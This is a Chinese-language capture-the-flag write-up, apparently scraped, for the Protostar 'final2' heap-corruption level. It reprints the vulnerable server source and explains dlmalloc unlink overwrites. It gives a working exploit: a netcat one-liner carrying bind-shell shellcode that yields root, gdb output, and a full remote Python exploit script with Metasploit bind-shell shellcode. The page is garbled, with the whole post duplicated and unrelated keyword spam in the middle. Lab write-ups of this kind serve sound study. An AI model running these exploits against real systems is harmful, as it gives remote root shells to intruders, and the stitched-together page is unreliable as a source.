Protostar final2
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,Core files will be in /tmp.This level is at /opt/protostar/bin/final2Source code#include "../common/
千家信息网最后更新 2026年11月01日Protostar final2Core files will be in /tmp.
Core files will be in /tmp.This level is at /opt/protostar/bin/final2Source code
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Final2花了我不少时间,因为之前没有接触过"堆腐烂"这么高深的技术,最后找了本《缓冲区溢出***--检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:在内存中堆的位置如下图:堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小当使用free()释放数据块时会调用unlink()宏:实际上执行的操作就是:*(P->fd+12)=P->bk;*(P->bk+8)=P->fd数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!
啰嗦了一大堆现开始进入正题。通过分析题目可得在查找"/"时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993通过查看调试文件可以得到:(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594有点像heap3是不?再看看"A"的位置在哪里:(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141
这里我们选择覆盖write()的地址,write()的地址是:user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。因此生成的payload应该是这样的[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']如下:user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK远程连接测试:D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exitOK!同样,写一份远程EXP,Python脚本如下:#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
位置
内存
地址
数据
指针
分配
两个
函数
程序
边界
东西
信息
内容
后部
大堆
大小
字符
字符串
字节
实际
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网科技公司华为
疫情对互联网科技公司影响
互联网最新的科技有限公司
迪茉互联网科技
互联网科技logo
互联网科技的未来发展
互联网科技视频素材
居家互联网科技有限公司
哈尔滨秒房互联网科技有限公司
互联网科技教育视频
青岛科技大学互联网大赛研究生
宜昌元轩互联网科技有限公司
乌苏新华互联网科技做什么的
科技互联网海报
山东子淼互联网科技有限公司
数字互联网科技有限公司
三亚科技创新互联网基地
上海互联网科技园景观
北京瑞云互联网科技有限公司
互联网科技自媒体灵感
新华互联网科技
互联网科技保险
互联网科技财经
互联网科技开发公司
世界互联网领先科技成果
互联网科技公司需要的职位
须眉科技是互联网公司吗
互联网保险科技创业
互联网时代科技型公司的机会
互联网科技手抄报图片
Source code
#include "../common/common.c"#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Final2花了我不少时间,因为之前没有接触过"堆腐烂"这么高深的技术,最后找了本《缓冲区溢出***--检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:在内存中堆的位置如下图:堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小当使用free()释放数据块时会调用unlink()宏:实际上执行的操作就是:*(P->fd+12)=P->bk;*(P->bk+8)=P->fd数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!
啰嗦了一大堆现开始进入正题。通过分析题目可得在查找"/"时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993通过查看调试文件可以得到:(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594有点像heap3是不?再看看"A"的位置在哪里:(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141
这里我们选择覆盖write()的地址,write()的地址是:user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。因此生成的payload应该是这样的[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']如下:user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK远程连接测试:D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exitOK!同样,写一份远程EXP,Python脚本如下:#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)